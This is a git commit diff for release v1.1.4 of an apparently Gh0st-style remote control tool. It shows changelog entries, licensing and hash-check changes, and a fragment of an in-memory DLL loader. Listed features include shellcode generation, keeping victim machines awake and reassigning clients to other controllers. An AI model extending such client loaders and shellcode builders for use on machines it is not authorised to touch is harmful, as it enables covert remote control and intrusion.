Release v1.1.4
This commit is contained in:
17
ReadMe.md
17
ReadMe.md
@@ -294,6 +294,23 @@ Release v1.1.3
|
|||||||
- 改进:支持授权在线主机数量
|
- 改进:支持授权在线主机数量
|
||||||
- 修复:#159 在 TestRun 注入模式下授权无效的问题
|
- 修复:#159 在 TestRun 注入模式下授权无效的问题
|
||||||
|
|
||||||
|
**2025.07.29**
|
||||||
|
|
||||||
|
Release v1.1.4
|
||||||
|
|
||||||
|
* 修复:限制使用 UDP 的在线主机数量
|
||||||
|
* 新功能:实现基于 UDP 的 KCP 协议
|
||||||
|
* 改进:为构建客户端添加随机协议选项
|
||||||
|
* 新功能:支持远程桌面自适应窗口大小
|
||||||
|
* 新功能:添加菜单项用于生成 shellcode
|
||||||
|
* 新功能:支持将客户端分配给其他主控端
|
||||||
|
* 新功能:支持将客户端添加到监视列表
|
||||||
|
* 改进:避免客户端计算机进入睡眠状态
|
||||||
|
* 修复:#170 移除对 `VCOMP140.dll` 的依赖
|
||||||
|
* 改进:显示客户端应用程序版本
|
||||||
|
* 修复:每周刷新一次客户端公网 IP
|
||||||
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
# 6.其他项目 <a id="6-other-projects"></a>
|
# 6.其他项目 <a id="6-other-projects"></a>
|
||||||
|
|||||||
17
ReadMe_EN.md
17
ReadMe_EN.md
@@ -306,6 +306,23 @@ Release v1.1.3
|
|||||||
* Improve: Support authorizing the online host quantity
|
* Improve: Support authorizing the online host quantity
|
||||||
* fix:#159 Authorization doesn't work under TestRun injection
|
* fix:#159 Authorization doesn't work under TestRun injection
|
||||||
|
|
||||||
|
**2025.07.29**
|
||||||
|
|
||||||
|
Release v1.1.4
|
||||||
|
|
||||||
|
* fix: Limit the online host number which uses UDP
|
||||||
|
* Feature: Implement KCP protocol - based on UDP
|
||||||
|
* Improve: Add random protocol option for building client
|
||||||
|
* Feature: Support remote desktop adaptive to window size
|
||||||
|
* Feature: Add a menu item to build shellcode
|
||||||
|
* Feature: support assigning client to another master
|
||||||
|
* Feature: Support adding client to watch list
|
||||||
|
* Improve: Avoid client computer going to sleep
|
||||||
|
* fix: #170 Remove the dependency of `VCOMP140.dll`
|
||||||
|
* Improve: Showing the client application version
|
||||||
|
* fix: Refresh client public IP every one week
|
||||||
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
# 6. Related Projects
|
# 6. Related Projects
|
||||||
|
|||||||
BIN
Releases/v1.1.4/Yama.exe
Normal file
BIN
Releases/v1.1.4/Yama.exe
Normal file
Binary file not shown.
@@ -262,7 +262,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
} else {
|
} else {
|
||||||
unsigned short* days = (unsigned short*)(buf + 1);
|
unsigned short* days = (unsigned short*)(buf + 1);
|
||||||
unsigned short* num = (unsigned short*)(buf + 3);
|
unsigned short* num = (unsigned short*)(buf + 3);
|
||||||
config* cfg = pwdHash == masterHash ? new config : new iniFile;
|
config* cfg = ((pwdHash == masterHash) && IsDebug) ? new config : new iniFile;
|
||||||
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
|
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
|
||||||
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
|
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
|
||||||
Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64);
|
Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64);
|
||||||
|
|||||||
15042
client/SCLoader.cpp
15042
client/SCLoader.cpp
File diff suppressed because it is too large
Load Diff
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,1,3
|
FILEVERSION 1,0,1,4
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.1.3"
|
VALUE "FileVersion", "1.0.1.4"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
@@ -8,6 +8,7 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include "../common/hash.h"
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#define Mprintf printf
|
#define Mprintf printf
|
||||||
@@ -262,8 +263,7 @@ extern DLL_API DWORD WINAPI run(LPVOID param) {
|
|||||||
if (dllData == NULL) return -1;
|
if (dllData == NULL) return -1;
|
||||||
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
if (NULL == execMem) return -2;
|
if (NULL == execMem) return -2;
|
||||||
char find[] = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43";
|
int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH)-1);
|
||||||
int offset = MemoryFind(dllData, find, size, sizeof(find)-1);
|
|
||||||
if (offset != -1) {
|
if (offset != -1) {
|
||||||
memcpy(dllData + offset, info->User, 64);
|
memcpy(dllData + offset, info->User, 64);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -73,8 +73,7 @@ typedef void* LPVOID, * HANDLE;
|
|||||||
|
|
||||||
#define FLAG_GHOST FLAG_FINDEN
|
#define FLAG_GHOST FLAG_FINDEN
|
||||||
|
|
||||||
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
#include "hash.h"
|
||||||
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
|
||||||
|
|
||||||
#ifndef GET_FILEPATH
|
#ifndef GET_FILEPATH
|
||||||
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
|
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
|
||||||
|
|||||||
48
common/hash.h
Normal file
48
common/hash.h
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
|
||||||
|
/*
|
||||||
|
原文:https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.1.1
|
||||||
|
|
||||||
|
自v1.1.1版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。
|
||||||
|
如果对这个有意见,请使用早期版本(<v1.0.8)。自行修改和编译程序,也可以解决该问题(参考 #91)。
|
||||||
|
|
||||||
|
作者投入了业余精力来维护、更新本软件,开源仅供学习交流之用,盈利并非主要目的。
|
||||||
|
若需使用发布版本,须获得授权,需要支付一定的授权费用。
|
||||||
|
|
||||||
|
你可以自由修改代码并自行编译使用(请参考上述问题:#91),此情况下不收取任何费用。
|
||||||
|
建议用户优先尝试自行编译,或测试旧版本是否已能满足需求;如仍有需要且具备预算,可再考虑正式授权。
|
||||||
|
|
||||||
|
如已获得授权,后续发布的新版本可继续使用,且未使用完的授权时间将自动顺延至新版本。
|
||||||
|
|
||||||
|
⚠️ 本软件仅限于合法、正当、合规的用途。禁止将本软件用于任何违法、恶意、侵权或违反道德规范的行为。
|
||||||
|
作者不对任何因滥用软件所引发的法律责任、损害或争议承担任何责任,并保留在发现或怀疑不当用途时拒绝或终止授权的权利。
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Starting from this version, the main control program requires authorization and will automatically
|
||||||
|
connect to the authorization server. You may contact the author to request a license.
|
||||||
|
If you have concerns about this mechanism, please use an earlier version (prior to v1.0.8).
|
||||||
|
Alternatively, you may modify and compile the program yourself to bypass this requirement (see #91).
|
||||||
|
|
||||||
|
The author maintains and updates this software in their spare time. It is open-sourced solely for
|
||||||
|
educational and non-commercial use; profit is not the primary goal.
|
||||||
|
To use the official release version, a license must be obtained, which requires payment of a licensing fee.
|
||||||
|
|
||||||
|
You are free to modify the code and compile it for your own use (please refer to the note above: #91).
|
||||||
|
No fees are charged in this case.
|
||||||
|
Users are encouraged to first attempt self-compilation or test an earlier version to see if it meets their needs.
|
||||||
|
If further functionality is required and budget is available, you may then consider obtaining a formal license.
|
||||||
|
|
||||||
|
If a license is obtained, future versions of the software can continue to be used under the same license,
|
||||||
|
and any remaining license time will be automatically carried over to the new version.
|
||||||
|
|
||||||
|
⚠️ This software is intended for lawful, legitimate, and compliant use only.
|
||||||
|
Any use of this software for illegal, malicious, infringing, or unethical purposes is strictly prohibited.
|
||||||
|
The author shall not be held liable for any legal issues, damages, or disputes resulting from misuse of
|
||||||
|
the software, and reserves the right to refuse or revoke authorization if improper use is discovered or suspected.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// 主控程序唯一标识
|
||||||
|
// 提示: 修改这个哈希可能造成一些功能受限,自主控的v1.1.1版本起,程序的诸多功能依赖于该哈希.
|
||||||
|
// 因此,对于想破除程序授权限制的行为,建议基于v1.1.1版本,甚至使用无需授权的版本(如能满足需求).
|
||||||
|
// 当然这些早期版本没有包含问题修复和新的功能.
|
||||||
|
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||||
@@ -109,6 +109,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
{
|
{
|
||||||
CloseHandle(m_Mutex);
|
CloseHandle(m_Mutex);
|
||||||
m_Mutex = NULL;
|
m_Mutex = NULL;
|
||||||
|
MessageBoxA(NULL, "һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
@@ -763,7 +763,8 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
|
|||||||
if (g_2015RemoteDlg->m_superID % 313 == 0)
|
if (g_2015RemoteDlg->m_superID % 313 == 0)
|
||||||
{
|
{
|
||||||
server->iHeaderEnc = PROTOCOL_HELL;
|
server->iHeaderEnc = PROTOCOL_HELL;
|
||||||
server->protoType = PROTO_RANDOM;
|
// TODO: UDP 协议不稳定
|
||||||
|
server->protoType = PROTO_TCP;
|
||||||
}
|
}
|
||||||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||||||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||||||
@@ -866,9 +867,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
CDialogEx::OnInitDialog();
|
CDialogEx::OnInitDialog();
|
||||||
|
|
||||||
if (!IsPwdHashValid()) {
|
if (!IsPwdHashValid()) {
|
||||||
MessageBox("此程序为非法的应用程序,无法正常运行!", "错误", MB_ICONERROR);
|
THIS_CFG.SetStr("settings", "superAdmin", "");
|
||||||
OnMainExit();
|
THIS_CFG.SetStr("settings", "Password", "");
|
||||||
return FALSE;
|
THIS_CFG.SetInt("settings", "MaxConnection", 2);
|
||||||
|
THIS_APP->UpdateMaxConnection(2);
|
||||||
}
|
}
|
||||||
if (GetPwdHash() == GetMasterHash()) {
|
if (GetPwdHash() == GetMasterHash()) {
|
||||||
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
|
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
|
||||||
|
|||||||
@@ -13,7 +13,8 @@
|
|||||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||||
|
|
||||||
// 主控程序唯一标识
|
// 主控程序唯一标识
|
||||||
char g_MasterID[_MAX_PATH] = { PWD_HASH256 };
|
// 密码的哈希值
|
||||||
|
char g_MasterID[_MAX_PATH] = { "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" };
|
||||||
|
|
||||||
std::string GetPwdHash(){
|
std::string GetPwdHash(){
|
||||||
static auto id = std::string(g_MasterID).substr(0, 64);
|
static auto id = std::string(g_MasterID).substr(0, 64);
|
||||||
|
|||||||
@@ -5,11 +5,9 @@
|
|||||||
#include "Resource.h"
|
#include "Resource.h"
|
||||||
#include "common/commands.h"
|
#include "common/commands.h"
|
||||||
|
|
||||||
// 密码的哈希值
|
|
||||||
// 提示:请用hashSHA256函数获得密码的哈希值,你应该用自己的密码生成哈希值,并替换这个默认值.
|
|
||||||
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
|
||||||
|
|
||||||
// CPasswordDlg 对话框
|
// CPasswordDlg 对话框
|
||||||
|
|
||||||
|
// 获取密码哈希值
|
||||||
std::string GetPwdHash();
|
std::string GetPwdHash();
|
||||||
|
|
||||||
const Validation* GetValidation(int offset=100);
|
const Validation* GetValidation(int offset=100);
|
||||||
|
|||||||
@@ -178,6 +178,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
ICONINFO CursorInfo;
|
ICONINFO CursorInfo;
|
||||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
|
|
||||||
GetClientRect(&m_CRect);
|
GetClientRect(&m_CRect);
|
||||||
@@ -515,7 +516,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
case IDM_ADAPTIVE_SIZE: {
|
case IDM_ADAPTIVE_SIZE: {
|
||||||
m_bAdaptiveSize = !m_bAdaptiveSize;
|
m_bAdaptiveSize = !m_bAdaptiveSize;
|
||||||
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
||||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize);
|
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user